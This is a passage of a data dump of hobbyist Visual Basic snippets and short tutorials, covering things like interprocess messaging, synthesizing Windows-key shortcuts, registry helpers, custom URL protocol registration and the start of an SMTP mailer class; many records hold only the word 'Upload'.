experts on MsgBox's now, I hope I helped at least one person, I know it's a bit useless, but everyone uses MsgBox's, and it's good to know what you can do, just in case you get stuck. \nPlease vote for me :) \nRegards, \nDarkStarX\n"},{"WorldId":1,"id":23499,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11530,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11257,"LineNumber":1,"line":"Public Sub Select_Text(TextBoxName As Variant)\n TextBoxName.SelStart = 0\n TextBoxName.SelLength = Len(TextBoxName.Text)\nEnd Sub"},{"WorldId":1,"id":11707,"LineNumber":1,"line":"'********* MESSAGE SENDING PROGRAM **********\n'\n' This program will send text messages to another vb program.\n' The messages will be placed directly into the text boxes.\n' Add 1 wide command button (Command1) to a blank form, double\n' click on the form, then copy and paste the following source code.\n' (This will be a separate project called message sender)\n\nOption Explicit\nPrivate Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long\nPrivate Const WM_SETTEXT = &HC\n' This program will send test messages to another vb program.\n' The recipient must be running when the command button is pressed.\nPrivate Sub Command1_Click()\n \n Dim sAppName As String, sSection As String\n ' Here we must supply the name of the program which is to receive messages.\n sAppName = \"Receiving AppName\"\n If Not InterProcMsg(sAppName, \"Text1\", \"Message to Text1\") Then\n ' Notify if the message could not be sent.\n MsgBox \"Could not send message sent to Text1\"\n End If\n \n If Not InterProcMsg(sAppName, \"Text2\", \"Message to Text2\") Then\n ' Notify if the message could not be sent.\n MsgBox \"Could not send message sent to Text2\"\n End If\n \n If Not InterProcMsg(sAppName, \"Text3\", \"Message to Text3\") Then\n ' Notify if the message could not be sent.\n MsgBox \"Could not send message sent to Text3\"\n End If\n \nEnd Sub\nFunction InterProcMsg(sAppName As String, sKey As String, sValue As String) As Boolean\nOn Error GoTo Err_InterProcMsg\n ' This routine will place a text message (sValue) into a control on a form\n ' running on another program.\n '\n ' In order for this to work the recipient program must be running,\n ' and must have stored the required windows handles into the windows registry.\n \n Dim sSection As String, lRequiredHandle As Long, SentOK As Boolean\n \n sSection = \"InterProcess Handles\"\n \n ' First we obtain the required handle from the registry.\n lRequiredHandle = GetSetting(sAppName, sSection, sKey)\n \n ' If a valid handle was found the send the message passed in the string 'sValue'.\n If lRequiredHandle = 0 Then\n SentOK = False ' Message not sent (handle not found)\n Else\n Call SendMessage(lRequiredHandle, WM_SETTEXT, ByVal 0&, ByVal sValue)\n SentOK = True ' Message sent\n End If\n\nExit_InterProcMsg:\n \n ' Exit the function with InterProcMsg set to either\n ' TRUE if message sent to the other program without problems, or\n ' FALSE if the message could not be sent.\n \n InterProcMsg = SentOK\n Exit Function\n\nErr_InterProcMsg:\n \n ' Error handler to catch and process any unexpected errors.\n \n MsgBox \"Error\" & Str$(Err) & \" in routine InterProcMsg on sending form: \" & Error$(Err)\n SentOK = False ' Message not sent (due to unexpected error)\n GoTo Exit_InterProcMsg\nEnd Function\nPrivate Sub Form_Load()\n ' Add a prompt to the command button.\n Command1.Caption = \"Send Messages to the other program\"\nEnd Sub\n\n'\n'********* MESSAGE RECEIVING PROGRAM **********\n'\n' This program will receive text messages from another vb program.\n' The messages will be placed directly into the text boxes.\n' Add 3 text boxes (text1, text2 and text3) to a blank form, double\n' click on the form, then copy and paste the following source code.\n' (This will be a separate project called message receiver)\n\nOption Explicit\nPrivate Sub Form_Load()\n ' To allow the sending program to write to our textboxes, we make a\n ' temporary saving of windows handles of the textboxes to the registry.\n Dim sAppName As String\n ' Here we must supply the name of this program\n ' (the name must match that given in the sending program).\n sAppName = \"Receiving AppName\"\n ' Now we store the windows handles for the forms textboxes.\n SaveSetting sAppName, \"InterProcess Handles\", \"Text1\", Str$(Text1.hWnd)\n SaveSetting sAppName, \"InterProcess Handles\", \"Text2\", Str$(Text2.hWnd)\n SaveSetting sAppName, \"InterProcess Handles\", \"Text3\", Str$(Text3.hWnd)\n \nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n ' The program has now finished, so we can now remove\n ' our InterProcess handle values from the registry.\n DeleteSetting \"Receiving AppName\", \"InterProcess Handles\"\nEnd Sub\n"},{"WorldId":1,"id":31737,"LineNumber":1,"line":"Option Explicit\nType ReturnedParameters\n Parameter1 As String\n Parameter2 As Integer\n Parameter3 As Boolean\nEnd Type\nPrivate Sub main()\n ' Simple test program which shows how to return multiple parameters\n ' from a function.\n With TestFunction\n MsgBox .Parameter1\n MsgBox .Parameter2\n MsgBox .Parameter3\n End With\nEnd Sub\nPrivate Function TestFunction() As ReturnedParameters\n ' Example function showing how multiple parameters can be returned\n \n Dim sString As String, iInteger As Integer, bBoolean As Boolean\n \n sString = \"Test String\"\n iInteger = 12345\n bBoolean = True\n \n With TestFunction\n .Parameter1 = sString\n .Parameter2 = iInteger\n .Parameter3 = bBoolean\n End With\nEnd Function\n"},{"WorldId":1,"id":31658,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12248,"LineNumber":1,"line":"Private Sub CreateHyperlink(Path As String, Hyperlink as String)\n Open Path For Output As #1 'open file access\n Print #1, \"[Internetshortcut]\" 'print on first line\n Print #1, \"URL=\" & Hyperlink 'print url on second line\n Close #1 'close it\nEnd Sub"},{"WorldId":1,"id":21364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22178,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12361,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12359,"LineNumber":1,"line":"Public Function ICQ_SET_LICENSE()\n Dim strName$, strPassword$, strLicense$\n strName$ = \"\"\n strPassword$ = \"\"\n strLicense$ = \"\"\n ICQAPICall_SetLicenseKey strName, strPassword, strLicense\nEnd Function\nPublic Function ICQ_GET_VERSION() As Integer\n ICQ_GET_VERSION = ICQAPICall_GetVersion\nEnd Function\nPublic Function ICQ_GET_DOCKINGSTATE() As DOCKING_STATE\n ICQ_GET_DOCKINGSTATE = ICQAPICall_GetDockingState\nEnd Function\nPublic Function ICQ_GET_FIREWALLSETTINGS() As BSICQAPI_FireWallData\n ICQ_GET_FIREWALLSETTINGS = ICQAPICall_GetFirewallSettings\nEnd Function\nPublic Function ICQ_GET_FULL_OWNER_DATA(pUser As BSICQAPI_User) As BSICQAPI_User\n ICQ_GET_FULL_OWNER_DATA = ICQAPICall_GetFullOwnerData\nEnd Function\n"},{"WorldId":1,"id":13550,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12623,"LineNumber":1,"line":"Hello, and thanks for viewing my first article! \nI'm hoping this will be useful to two different types of people;\n<ol>\n<li>Those who are just getting started with the API. For those of you who aren't that familiar with using the API, I'm going to try and explain everything I did to get the information. Although I have the MSDN library on my development PC, I'll try and add links to MSDN online where appropriate.</li>\n<li>People who just want to leech code for their libraries and get their projects done. :) If you're one of these people, you can download the zip and be done with it. It's commented pretty well, so I think you'll be fine.</li>\n</ol>\n \nIf you've got one of those Windows 95 keyboards, you've probably come across the Windows Key, which is the one that looks like the little Windows logo (they're on either side of the space bar in most cases, just next to the ALT key). \nAlthough there's not much documentation for these keys, they can be quite useful. I know I've kicked myself for trying to bring up Windows Explorer in Linux a few times (D'OH!) :)\n \nFor those of you who don't know any of the groovy shortcuts, here's a few to get you started. Play with these for a minute before you keep reading.\n <table align=\"center\">\n<tr>\n<td>WINDOWSKEY + R</td>\n<td>Same as clicking START->RUN</td>\n</tr>\n<tr>\n<td>WINDOWSKEY + F</td>\n<td>Same as clicking START->FIND->Files or Folders</td>\n</tr>\n<tr>\n<td>WINDOWSKEY + E</td>\n<td>Same as clicking START->PROGRAMS->Windows Explorer</td>\n</tr>\n</table> \nPretty cool, huh? \n(Insert game show host voice here) \nBut wait! There's more! \n<table align=\"center\">\n<tr>\n<td>WINDOWSKEY + M</td>\n<td>Will minimize all the open windows</td>\n</tr>\n<tr>\n<td>SHIFT + WINDOWSKEY + M</td>\n<td>Will undo the 'Minimize all Windows' action</td>\n</tr>\n</table> \nOne quick caveat to these two: It doesn't technically do ALL the windows. Only the ones which can be minimized. For example, if you click START->RUN to bring up that dialog, and then try and minimize all the windows, that window will stay on the screen.\n \nHere's my personal favorite, and the favorite of anyone who has to help people over the phone with their computer.\n \n<table>\n<tr>\n<td>WINDOWSKEY+Break </td>\n<td>Will bring up the 'System Properties' dialog box</td>\n</tr>\n</table> \nI love this one! \n(But enough about me. Let's get our hands dirty!)\n ABOUT THE CODE\n What we're going to do is create a bunch of keystrokes in code. \nI found an API call in the <a href=\"http://msdn.microsoft.com/library/default.asp\" target=\"new\">MSDN library</a> that lets you synthesize keystrokes. \nIt's called <a href=\"http://msdn.microsoft.com/library/psdk/winui/keybinpt_854k.htm\" target=\"new\">keybd_event</a>. This little piece of code is found in the user32.dll file which gets installed on your system when you put Windows 95, 98, ME, NT or 2000 on.\n \nIf you want to follow along, do the following.\n <ol>\n<li>Open up an instance of VB if you haven't already, and just choose a 'Standard EXE'. Go to the code for that window, so that we can start typing.</li>\n<li>Load the API Text viewer from either the Start Menu or as an Add-in in Visual Basic (it doesn't matter which way).</li>\n<li>In the API Text Viewer, make sure the API Type combobox is set to 'Declares'.</li>\n<li>In the textbox titled 'type the first few letters...' enter keybd. as you type, you'll see\nthe list below it changing. By the time you've punched in these 5 letters, keybd_event should be at the top of the listbox beneath it.</li>\n<li>Make sure the 'Private' option button is selected on the right</li>\n<li>Double-click the item keybd_event in the list box, or click it once and click the Add button.</li>\n<li>Click the Copy button to copy the text.</li>\n<li>Go back to your VB code window and paste the code into the form's code window.</li>\n</ol>\n \nNow that we've got that done, we can look at the code for that API call; \nPrivate Declare Sub keybd_event Lib \"user32\" Alias \"keybd_event\" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) \nIf you want to see MSDN's description again for this, click <a href=\"http://msdn.microsoft.com/library/psdk/winui/keybinpt_854k.htm\" target=\"new\">here</a>. \nMost of these descriptions you'll find at MSDN are geared to C++ programmers, particularly for the Platform SDK stuff. So, we need to translate this stuff into 'VB-English'. \nbVk is the Numeric ID for the key that we're going to get Windows to send. \nbScan - Don't need it. Just have to make reference to it, because the function depends on it. \ndwFlags - This is the placeholder for any special functions (we'll get to this later). \ndwExtraInfo - Additional value associated with the key (we don't need this one for this either)\n \nNow, we've got a situation here that needs some explaining. How are we going to covert Keystrokes into numbers(bytes) so that we can use the bVk argument to store them? \nWell, if you looked at the C++ code at MSDN just after the description for this, you probaby saw VK_NUMLOCK. VK_NUMLOCK is a constant which Windows uses as a numerical representation for the Num Lock key. The API Text viewer has a whole bunch of these, but I found a better resource on MSDN; \n<a href=\"http://msdn.microsoft.com/library/psdk/winui/vkeys_529f.htm\" target=\"new\">Check this out</a>. It's a table of all the key codes Windows knows about that work with keybd_event. \nNow, we've got to take this information and turn it into useable code. \nFirst, let's go get that Windows Key, seeming how he's the star of today's lesson. \nAbout halfway down, you're going to find VK_LWIN, described as the 'Left Windows Key'. That will work just fine. To the right of it (in the middle column), you'll see a Hex value (5B) for this constant. \nIn order to use this, we just reword it a little for the code; \nConst VK_LWIN = &H5B \nSimple enough? Good. Now, we need to get all the other keys we need\n(VK_PAUSE (the Break key), VK_SHIFT, VK_M, VK_F, VK_R and VK_E). \nYou should be able to turn those into the following code. \nConst VK_PAUSE = &H13 \nConst VK_SHIFT = &H10 \nConst VK_M = &H4D \nConst VK_F = &H46 \nConst VK_R = &H52 \nConst VK_E = &H45 \nNow take all of these constants and put them in the form's code window in our VB Project.\n(Remember to include VK_LWIN). \nNow go to the API Text Viewer and look for the Constant called KEYEVENTF_KEYUP. We need to grab that one as well, because Windows is a little *ahem* 'special' sometimes... and won't take its finger off the key unless we tell it to (to be explained later). You should get this (or close to it.... just change it to look like the others), which we have to put in the code window as well. \nConst KEYEVENTF_KEYUP = &H2 \nOk. Let's start with the basics. First, we're going to create the code to launch the Windows Explorer. \n<ol>\n<li>On your form (in design mode), put a Commandbutton and name it cmdExplorer.</li>\n<li>Double click on your groovy button to get to the click event for it in the code window</li>\n</ol>\n \nNow, add the following code to that event. \n' Send the keystroke for the left Windows Key \n Call keybd_event(VK_LWIN, 0, 0, 0) \n' Send the keystroke for the E Key \n Call keybd_event(VK_E, 0, 0, 0) \n' Tell Windows to take its finger off the Windows key :) \n Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0) \nThis code should pretty much make sense, if you look at the comments. But take a look at the last line. See we used KEYEVENTF_KEYUP as the third argument? That's one of those special instructions that MSDN was talking about. In the last line, we're not pressing a key anymore, but we're in fact releasing the key. \nPress F5 to run the program. When you click the button, you should get a new instance of Windows Explorer up on the screen. If you press WindowsKey + E on your keyboard, you should get another one. Pretty cool, huh? \nOK. We're going to cover one last one, and then I'll send you off to do the other ones. If you get stuck, or get errors, fear not! Just download the source code and compare it to what you did. I'm sure the mistake was no big deal. After all, you're a great programmer! :) \nOK, we're going to do the 'Undo Minimize All Windows' code, because that one is kind of an exception. Reason being, you have to release the Shift Key as well.\n \n<ol>\n<li>On your form (in design mode), put a Commandbutton and name it cmdUndoMinimize.</li>\n<li>Double click on your button to get to the click event for it in the code window</li>\n</ol>\n \nNow, add the following code to that event. \n Call keybd_event(VK_LWIN, 0, 0, 0) \n Call keybd_event(VK_SHIFT, 0, 0, 0) \n Call keybd_event(VK_M, 0, 0, 0) \n Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0) \n Call keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0) \nNotice how everything is pretty much the same. First, we set the Windows Key, then the Shift Key, then the M key. After that, we release the Windows Key, then we release the shift key. \nOK. Run the app, and press Window Key + M to minimize all Windows. Go to the taskbar, and click on your form so that it comes back up on the screen. Click the 'Undo Minimize All Windows' button you just created and Voila! \nNow, I'll send you out into the world to see what other cool things you can do with this. \n<a href=\"http://support.microsoft.com/support/kb/articles/Q126/4/49.asp\" target=\"new\">Here's a hint to help you get started.</a> \nWell, that's it. My fingers are tired. Download the article, steal my code. But please vote if you found this useful. \nUntil next time!\n \nNOTE: After posting this originally, Sean Gallardy was kind enough to put the declaration and ALL the Virtual Key Constants in a module for download. \n \n<a href=\"http://www.planet-source-code.com/vb/scripts/showcode.asp?txtCodeId=12642\" target=\"new\">Click here to see his article</a>.\n \nNice work Sean!"},{"WorldId":1,"id":23058,"LineNumber":1,"line":"Function MakeVBColour(hColor) As Long \n' 20010509 BWM - Used to flip the \n' #RRGGBB HTML colour format to the \n' VB-style &HBBGGRR format \n' Note: the variable 'RED' refers to 'BLUE' \n' in HTML, and 'BLUE' refers to 'RED' in HTML. \n' There's no standard. \n Dim Red As Long \n Dim Green As Long \n Dim Blue As Long \n Dim sRed As String \n Dim sBlue As String \n Dim sGreen As String \n' Fill a long variable with the colour\n \n hColor = CLng(hColor) \n' Separate the colours into their own variables \n Red = hColor And 255 \n Green = (hColor And 65280) \\ 256 \n Blue = (hColor And 16711680) \\ 65535 \n' Get the hex equivalents \n sRed = Hex(Red) \n sBlue = Hex(Blue) \n sGreen = Hex(Green) \n' Pad each colour, to make sure it's 2 chars \n sRed = String(2 - Len(sRed), \"0\") & sRed \n sBlue = String(2 - Len(sBlue), \"0\") & sBlue \n sGreen = String(2 - Len(sGreen), \"0\") & sGreen \n'reassemble' the colour \n MakeVBColour = CLng(\"&H\" & sRed & sGreen & sBlue) \n \nEnd Function "},{"WorldId":1,"id":23133,"LineNumber":1,"line":"Public Sub ResToFile(Filename As String, ResID As Variant, ResType As Variant, Optional Overwrite As Boolean = False)\nDim Buffer() As Byte\nDim Filenum As Integer\nIf Dir(Filename) <> Empty Then 'Check if output file already exists\n If Overwrite Then Kill Filename Else Err.Raise 58\nEnd If\nBuffer = LoadResData(ResID, ResType) 'Load the resource into a byte array\nFilenum = FreeFile\nOpen Filename For Binary Access Write As Filenum\nPut Filenum, , Buffer 'Write the entire array into the file\nClose Filenum\nEnd Sub"},{"WorldId":1,"id":25232,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25885,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30742,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11753,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32177,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31960,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11065,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22519,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15002,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14659,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22036,"LineNumber":1,"line":"In the Regestry <a id=\"key\" style=\"cursor:default;color:blue;\">HKEY_CLASSES_ROOT</a> Create a Key named what you want the 'protocol' to be (e.g. myapp). The '<a id=\"key\" style=\"cursor:default;color:blue;\">(Default)</a>' value for that key is a description of the protocol. A Subvalue needs to be created named '<a id=\"key\" style=\"cursor:default;color:blue;\">URLProtocol</a>' the value of this is \"\". Then create a New SubKey to the protocol Key name it '<a id=\"key\" style=\"cursor:default;color:blue;\">shell</a>', no values need to be set here. Now create a SubKey to '<a id=\"key\" style=\"cursor:default;color:blue;\">shell</a>', name this '<a id=\"key\" style=\"cursor:default;color:blue;\">open</a>', no values to set. Next create asubkey to '<a id=\"key\" style=\"cursor:default;color:blue;\">open</a>', name this '<a id=\"key\" style=\"cursor:default;color:blue;\">command</a>'. The '<a id=\"key\" style=\"cursor:default;color:blue;\">(Default)</a>' value for this key is the path to the application(e.g. c:\\program files\\myapp\\myapp.exe %1). The '<a id=\"key\" style=\"cursor:default;color:blue;\">%1</a> will return any command line params to your application, i.e. any thing after the '<a id=\"key\" style=\"cursor:default;color:blue;\">myapp://</a>' will be returned. \nThats it now you can open up your browser and type in the protocol (e.g. myapp://) and your application will launch. \nI have tested that so It does work. If you like this please post comments and vote.\nif anyone knows how to see if commands are passed please either post how in the comments or email me @ witenite87@excite.com. \nDownload a working use of this in a Win32 Whois Client. It Looks like other windows utilities like ping, ipconfig ect. It does NOT use the winsock ocx it uses winsock API. Its FREE so Get it now. <a href=\"http://camalot.virtualave.net\" target=\"_whois\">Download the WhoIs Client Here</a>"},{"WorldId":1,"id":22100,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28900,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13650,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32876,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11878,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24100,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25685,"LineNumber":1,"line":"MsgBox DatePart(\"ww\", Date)"},{"WorldId":1,"id":34539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10913,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32119,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32942,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21289,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14244,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10579,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11197,"LineNumber":1,"line":"'code\nPrivate Sub FormDrag(frm As Form)\n ReleaseCapture\n Call SendMessage(frm.hWnd, WM_NCLBUTTONDOWN, HTCAPTION, 0)\nEnd Sub\n\n'usage:\n'put in MouseDown even of almost anything.\n'a form a label, a command button, anything will work.\nPrivate Sub Label1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n If Button = 1 Then Call FormDrag(Me)\nEnd Sub\n'If you dont add If Button = 1 etc.. \n'then if you left click, then right \n'click the form will continue to \n'move even though you arent clicking,\n'its like the form is stuck to your mouse\n"},{"WorldId":1,"id":11199,"LineNumber":1,"line":"'code:\nPrivate Sub FormOnTop(frm As Form, blnOnTop As Boolean)\n Dim lPos As Long\n Select Case blnOnTop\n Case True\n lPos = HWND_TOPMOST\n Case False\n lPos = HWND_NOTOPMOST\n End Select\n Call SetWindowPos(frm.hwnd, lPos, 0, 0, 0, 0, SWP_FLAGS)\nEnd Sub\n'usage:\nPrivate Sub Form_Load()\n'makes a form on top\n Call FormOnTop(Me, True)\nEnd Sub\nPrivate Sub Command1_Click()\n'makes a form not always on top anymore..\n Call FormOnTop(Me, False)\nEnd Sub"},{"WorldId":1,"id":12754,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10650,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22129,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13418,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13129,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21237,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24836,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12990,"LineNumber":1,"line":"\nPublic Sub AddToList(ProgramName As String, UninstallCommand As String)\n'Add a program to the 'Add/Remove Programs' registry keys\nCall SaveString(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" + ProgramName, \"DisplayName\", ProgramName)\nCall SaveString(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" + ProgramName, \"UninstallString\", UninstallCommand)\nEnd Sub\nPublic Sub RemoveFromList(ProgramName As String)\n'Remove a program from the 'Add/Remove Programs' registry keys\nCall DeleteKey(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" + ProgramName)\nEnd Sub\nPublic Sub AddToRun(ProgramName As String, FileToRun As String)\n'Add a program to the 'Run at Startup' registry keys\nCall SaveString(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\", ProgramName, FileToRun)\nEnd Sub\nPublic Sub RemoveFromRun(ProgramName As String)\n'Remove a program from the 'Run at Startup' registry keys\nCall DeleteValue(HKEY_LOCAL_MACHINE, \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\", ProgramName)\nEnd Sub\nPublic Sub SaveKey(Hkey As HKeyTypes, strPath As String)\n Dim keyhand&\n r = RegCreateKey(Hkey, strPath, keyhand&)\n r = RegCloseKey(keyhand&)\nEnd Sub\nPublic Function GetString(Hkey As HKeyTypes, strPath As String, strValue As String)\n 'EXAMPLE:\n '\n 'text1.text = getstring(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\", \"String\")\n '\n Dim keyhand As Long\n Dim datatype As Long\n Dim lResult As Long\n Dim strBuf As String\n Dim lDataBufSize As Long\n Dim intZeroPos As Integer\n Dim lValueType As Long\n r = RegOpenKey(Hkey, strPath, keyhand)\n lResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)\n\n If lValueType = REG_SZ Then\n strBuf = String(lDataBufSize, \" \")\n lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)\n\n If lResult = ERROR_SUCCESS Then\n intZeroPos = InStr(strBuf, Chr$(0))\n\n If intZeroPos > 0 Then\n GetString = Left$(strBuf, intZeroPos - 1)\n Else\n GetString = strBuf\n End If\n End If\n End If\nEnd Function\nPublic Sub SaveString(Hkey As HKeyTypes, strPath As String, strValue As String, strdata As String)\n 'EXAMPLE:\n '\n 'Call savestring(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\", \"String\", text1.text)\n '\n Dim keyhand As Long\n Dim r As Long\n r = RegCreateKey(Hkey, strPath, keyhand)\n r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))\n r = RegCloseKey(keyhand)\nEnd Sub\nPublic Function DeleteValue(ByVal Hkey As HKeyTypes, ByVal strPath As String, ByVal strValue As String)\n 'EXAMPLE:\n '\n 'Call DeleteValue(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\", \"Dword\")\n '\n Dim keyhand As Long\n r = RegOpenKey(Hkey, strPath, keyhand)\n r = RegDeleteValue(keyhand, strValue)\n r = RegCloseKey(keyhand)\nEnd Function\nPublic Function DeleteKey(ByVal Hkey As HKeyTypes, ByVal strPath As String)\n 'EXAMPLE:\n '\n 'Call DeleteKey(HKEY_CURRENT_USER, \"Software\\VBW\\Registry\")\n '\n Dim keyhand As Long\n r = RegDeleteKey(Hkey, strPath)\nEnd Function\n"},{"WorldId":1,"id":12515,"LineNumber":1,"line":"'\n'\n'\n' BEGIN CODE==========================\n' BEGIN REQUIRED SUB IN FORM: --------\n'\nPrivate Sub HerbSock_DataArrival(Index As Integer, ByVal bytesTotal As Long)\nHerbSock(Index).GetData indata(Index), vbString\nEnd Sub\n'\n' END REQUIRED SUB IN FORM ------------\n'\n' BEGIN modHerbSMTP.bas ---------------\nPublic indata() As String\nPrivate CF2VBTemp As String\nPublic Function ListGetAt(List2Get As String, ListPosition As Integer, Optional Delim As String = \",\") As String\n' This is part of a ColdFusion - to - VB function Module I have made that may be\n' posted to Planet Source Code Soon...\n'\n' Takes a String like \"First,Second,Third\" and:\n' Takes #ListPosition from that list (ie - ListPosition=2, ListGetAt=\"Second\")\n' You can Optionally change the delimiter from comma to something else\nListPosition = Abs(ListPosition)\nIf ListLen(List2Get, Delim) < ListPosition Then ListGetAt = \"\": Exit Function\nIf ListPosition = 1 Then If InStr(List2Get, Delim) < 1 Then ListGetAt = List2Get: Exit Function Else ListGetAt = Left(List2Get, InStr(List2Get, Delim) - 1): Exit Function\nCF2VBTemp = List2Get\nCF2VBTemp = Replace(CF2VBTemp, Delim, \"\", 1, ListPosition - 2, vbBinaryCompare)\nIf InStr(1, CF2VBTemp, Delim, vbBinaryCompare) + Len(Delim) = Len(CF2VBTemp) Then ListGetAt = \"\": Exit Function\nCF2VBTemp = Mid(CF2VBTemp, InStr(1, CF2VBTemp, Delim, vbBinaryCompare) + Len(Delim))\nIf InStr(1, CF2VBTemp, Delim, vbBinaryCompare) < 1 Then ListGetAt = CF2VBTemp: Exit Function\nListGetAt = Left(CF2VBTemp, InStr(1, CF2VBTemp, Delim, vbBinaryCompare) - 1)\nEnd Function\nPublic Function ListLen(List2Meas As String, Optional Delim As String = \",\") As Integer\n' Takes a String like \"First,Second,Third\" and returns ListLen=3\n' You can Optionally change the delimiter from comma to something else\nIf List2Meas = \"\" Then ListLen = 0: Exit Function\nListLen = 1\nCF2VBTemp = List2Meas\nWhile InStr(CF2VBTemp, Delim)\n ListLen = ListLen + 1\n CF2VBTemp = Replace(CF2VBTemp, Delim, \"\", 1, 1, vbBinaryCompare)\nWend\nEnd Function\n'\n' END modHerbSMTP.bas -----------------\n'\n' BEGIN clsHerbSMTP.cls ---------------\n' @Home SMTP, a watered down simplified and commented version of\n' the control that WAS going to be part of a mailing list manager.\n'\n' (c) 2000 Herbert L. Riede\n'\n' Standard open-source rules. Any improvements you make\n' must be sent to webmaster@7-10.com. Any improvements I make\n' will also be re-posted. You may post your version(s) of this code\n' to free code sites as long as credit is made and this header is left intact.\n'\n' Adapted from code by: Brian Anderson, Planet Source Code Winner for\n' 'Simple Mail Testing Program'\n' http://www.planet-source-code.com/xq/ASP/txtCodeId.841/lngWId.1/qx/vb/scripts/ShowCode.htm\n'\n' You must have a WinSock Control with index 0 and named HerbSock\n' MyForm can be set by:\n' Public WithEvents Herb As HerbSMTP ' <- place in the 'Declarations' Area\n'Place into Form_Load:\n' Set Herb = New HerbSMTP\n' Herb.Attach Me\n' Herb.server = \"mail.mia.bellsouth.net\"\n'\n' NOTE: If you exceed the 'maxthreads', it will set the .busy property to True\n'\n'Who said I don't have an ego calling all of them Herb? :)\nPrivate arrive As String, statusset As String, busyset As Boolean, jd As Integer, je As Integer\nPublic ThisSocket As Long\nPrivate MyForm As Form\nPrivate MaxThread As Integer, SMTPHost As String\n' This event is called every time the status changes\nPublic Event statuschange()\n'\nPublic Sub Attach(InForm As Form)\nSet MyForm = InForm\nEnd Sub\n'Public response As String\nPublic Sub cleardata(sock As Integer)\n' Clear response Variable\nindata(sock) = \"\"\ngarbage = response(sock)\nEnd Sub\nPublic Property Let MaxThreads(MT As Integer)\n' This should not really be called threads.. The suggested maximum is 5.\n' How many objects should I handle at a time?\nMaxThread = MT\nEnd Property\nPublic Property Get MaxThreads() As Integer\nMaxThreads = MaxThread\nEnd Property\nPublic Property Get response(sock As Integer) As String\nIf indata(sock) = \"\" Then response = \"\" Else response = indata(sock)\nEnd Property\nPublic Property Let Server(smtpserver As String)\nSMTPHost = smtpserver\nEnd Property\nPublic Sub SendEmail(FromName As String, FromEmailAddress As String, ToName As String, ToEmailAddress As String, EmailSubject As String, EmailBodyOfMessage As String)\nDim WSIdx As Integer, Secnd As String\nWSIdx = GetAvailableWinSock\nConnectSock (MyForm.HerbSock(WSIdx).object)\nprocesstmr = Timer\n'Quick multi-reciepient hack\nIf ListLen(ToEmailAddress) > 1 Then\n For 